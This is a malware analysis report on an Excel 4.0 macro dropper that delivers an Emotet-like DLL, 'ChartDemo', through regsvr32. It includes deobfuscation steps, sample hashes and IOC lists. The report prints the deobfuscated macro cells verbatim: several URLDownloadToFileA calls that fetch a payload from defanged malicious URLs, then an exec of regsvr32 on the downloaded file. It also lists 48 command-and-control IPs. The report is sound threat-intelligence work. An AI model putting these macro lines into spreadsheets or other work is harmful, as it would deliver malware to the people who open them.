File Analysis - 2022:03:14
ANALYSIS OF ChartDemo.exe Excel Dropper
example[.]com) so they can't be clicked by accident.Samples can be downloaded here
Files
- heodo-evaluated.xlsm (sha256: a34269b9a7885bcacdb034c6dd0550dd1a7dc52a65982b6cc64a5d43bdaf0319)
STATIC PROPERTIES
Stage-1.xlsm (Stage-1)
Stage-1 is a delivered Microsoft Excel with hidden sheets and macros. As an unpacked excel sheet, there are no unique identifying strings or properties that easily identify the document as being malicious. The tool Olevba3 is able to extract the obfuscated entry macro. An abbreviated snippet follows:
<f> FORMULA('Je1'!D17,'Je2'!E6)=FORMULA(Vfrbuk1!P22&Vfrbuk1!H9&Vfrbuk1!L2&Vfrbuk1!B15&
Vfrbuk1!B15&Lefasbor1!E4&Lefasbor1!B8&Lefasbor1!D1 2 & amp;'Je2'!E6&Lefasbor1!G9&
<!-- Omitted -->
P13,D24)=FORMULA(Vfrbuk1!P22&Vfrbuk1!G24&Vfrbuk1!H13&Vfrbuk1!E6&
Vfrbuk1!E11&Vfrbuk1!F4&Vfrbuk1!K23&Vfrbuk1!P11&Vfrbuk1!P13,D33)
</f>
ChartDemo.exe (ChartDemo)
ChartDemo is a 32-bit C/C++ DLL built with VisualStudio. ChartDemo exports two functions, "DllRegisterServer" and "DllUnregisterServer" to be used with the Windows OS regsvr32.exe command. AV sandboxes flag CharDemo as an Emotet trojan.
BEHAVIORAL ANALYSIS
A simple social engineering attempt typical of macro-laden MS Office products is displayed to the vicitim. A clean usage bar that reads "Enable all features" is presented to the user. Once macros are enabled, the sheet is blank and appears to not have loaded properly. This attack technique requires Excel v.4.0 Macros, and will not work otherwise. An important feature of this attack method is that the initial cell is not populated with any data. This is likely an attempt to thrwart anti-virus detections that scan the contents of the cell the entry Macro points to.
Deobfuscating Stage-1
By right-clicking on the sheet and selecting "Unhide" the analyst is able to reveal five hidden sheets named, "Vfrbuk1", "Lefasbor1", "EFALGV", "Je1", and "Je2". The text can be revealed by changing the entire documents color from write to red and expanding collapsed cells. A short video of the procedure can be downloaded from the malware samples section as "oldExcel-deob.mp4.7z". This amount of deobfuscation is possible without enabling the macros, and interestingly enough the threat actors decided against obfuscating the malicious IP addresses (see IOC section).
You can further deobfuscate the scripts in a controlled way by patching the original excel file and changing to "Auto_Run" function name to something else to prevent Excel from running it. This is can be accomplished by changing the name via Formulas --> Name Manager. After changing the name, the analyst is then able to safely enable macros and select the renamed "Auto_Open" macro and debug it using the Excel Macro debugger. By evaluting each step of the script, the following cells are populated and called in the "EFALGV" sheet (Note: Most of the above techniques can also be accomplished by unzipping the excel document, and editing the "workbook.xml" file to change the "Auto_Open" name and remove the "hidden" attributes in the "state" fields):
- D10: "=call("urlmon","URLDownloadToFileA","JJCCBB",0,"hxxp://api[.]zmotpro[.]com/totalenvironment/logs/8wdgNaq0x/","..\enu.ocx",0,0)"
- D12: "IF(GFGH1<0, CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"hxxp://aetoaluminium[.]com/wp-admin/gkqyKlzXoc/","..\enu.ocx",0,0))"
- D14: "IF(GFGH2<0, CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"hxxp://24studypoint[.]com/wp-admin/3uEUtb/","..\enu.ocx",0,0))"
- D16: "IF(GFGH3<0, CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"hxxps://baicc-ct[.]org/wp-admin/IwhcfC2sdxoToa/","..\enu.ocx",0,0))"
- D18: "IF(GFGH4<0, CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"hxxps://mustknew[.]com/lovecalculator/osDBhPqx0tB1Vtp/","..\enu.ocx",0,0))"
- D20: "IF(GFGH5<0, CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"hxxp://kiski023[.]com/wp-includes/Requests/Cookie/C/","..\enu.ocx",0,0))"
- D22: "IF(GFGH6<0, CLOSE(0),)"
- D24: "=exec("C:\Windows\SysWow64\r"&"eg"&"sv"&"r32.exe /s ..\enu.ocx")"
We were able to retrieve the second stage payload, "enu.ocx" (Stage-2) from the second URL called in D12. The attached Fiddler output "40905-fiddler-capture.saz" contains the malicious payload as captured over out laboratory network. On our system, the file is renamed to "bhpb.gmd" and called with C:\WINDOWS\sysWOW64\regsvr32.exe /s C:\Users\REM\AppData\Local\Wgiwh\bhpb.gmd. For consistency in this report, we refer to the stage 2 payload, "bhpb.gmd" with its internal name "ChartDemo".
ChartDemo.exe - Stage 2
Upon execution ChartDemo reads registery values in HKCU\...\Internet Settings\ZoneMap and then initiates contact with at least 48 unique IP addresses using various GET requests. The attachment "GET-requests.txt" contains an abbreviated version from the captured InetSim logs (Note: To capture the traffic through a linux proxy, IP table must be re-routed on the linux machine). Because regsvr32.exe is the host process for ChartDemo, endpoint detection systems may not be efficient. This is an older malware technique that has seen some recent resurgency in combination with virus-laden Excel documents[1]. ChartDemo iterates through the IP addresses found in the IOC section below until it makes a successful connection and is able to retrieve encoded COM script instructions via GET request. ChartDemo exhibits the same traits and code reuse as the Emotet Trojan and is only novel in this analysis in how it takes commands in the aforementioend manner. On three different tests from the URLs above, the same sample was written to a random directory in %USER%\AppData\Local\.
(Note: Analysis of Emotet in conjunction with Regsrv32.exe is still ongoing)
IOCs
urls
- "hxxp://api[.]zmotpro[.]com/totalenvironment/logs/8wdgNaq0x/"
- "hxxp://24studypoint[.]com/wp-admin/3uEUtb/"
- "hxxp://aetoaluminium[.]com/wp-admin/gkqyKlzXoc/"
- "hxxps://baicc-ct[.]org/wp-admin/IwhcfC2sdxoToa/"
- "hxxps://mustknew[.]com/lovecalculator/osDBhPqx0tB1Vtp/"
- "hxxp://kiski023[.]com/wp-includes/Requests/Cookie/C/"
ip addresses
- 103[.]134[.]85[.]85
- 103[.]221[.]221[.]247
- 103[.]75[.]201[.]2
- 103[.]75[.]201[.]4
- 107[.]182[.]225[.]142
- 110[.]232[.]117[.]186
- 119[.]235[.]255[.]201
- 1[.]234[.]2[.]232
- 129[.]232[.]188[.]93
- 131[.]100[.]24[.]231
- 138[.]185[.]72[.]26
- 158[.]69[.]222[.]101
- 159[.]65[.]88[.]10
- 159[.]8[.]59[.]82
- 162[.]241[.]79[.]26
- 162[.]243[.]175[.]63
- 164[.]68[.]99[.]3
- 173[.]212[.]193[.]249
- 176[.]104[.]106[.]96
- 176[.]56[.]128[.]118
- 177[.]87[.]70[.]10
- 178[.]128[.]83[.]165
- 178[.]79[.]147[.]66
- 185[.]157[.]82[.]211
- 186[.]250[.]48[.]117
- 195[.]154[.]133[.]20
- 197[.]242[.]150[.]244
- 203[.]114[.]109[.]124
- 207[.]38[.]84[.]195
- 209[.]126[.]98[.]206
- 212[.]237[.]17[.]99
- 212[.]237[.]56[.]116
- 212[.]24[.]98[.]99
- 216[.]158[.]226[.]206
- 217[.]182[.]143[.]207
- 31[.]24[.]158[.]56
- 45[.]118[.]115[.]99
- 45[.]118[.]135[.]203
- 45[.]142[.]114[.]231
- 45[.]176[.]232[.]124
- 46[.]55[.]222[.]11
- 50[.]116[.]54[.]215
- 50[.]30[.]40[.]196
- 51[.]254[.]140[.]238
- 51[.]91[.]7[.]5
- 58[.]227[.]42[.]236
- 79[.]172[.]212[.]216
- 82[.]165[.]152[.]127
files
- sha256: 79a05c77c252c3dd26200967cf318479af86dfbd046e48b3c2f1364002bced6e
REFERENCES
- https://www.bleepingcomputer[.]com/news/security/qbot-lokibot-malware-switch-back-to-windows-regsvr32-delivery/